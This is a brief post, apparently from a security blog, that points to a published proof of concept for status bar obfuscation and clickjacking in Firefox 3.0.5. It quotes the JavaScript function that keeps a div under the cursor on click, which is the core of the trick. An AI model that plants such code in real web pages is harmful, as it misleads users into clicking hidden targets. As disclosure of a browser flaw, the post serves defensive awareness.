Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

http://www.milw0rm.com/exploits/7842 shows a PoC of Status Bar Clickjacking in Firefox 3.0.5, published by MrDoug.

function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.left=mouseX-1;
document.getElementById('mydiv').style.top=mouseY-1;
}

is called by an Mouse OnClick action [onclick="updatebox(event)"].

Check it out.

- EF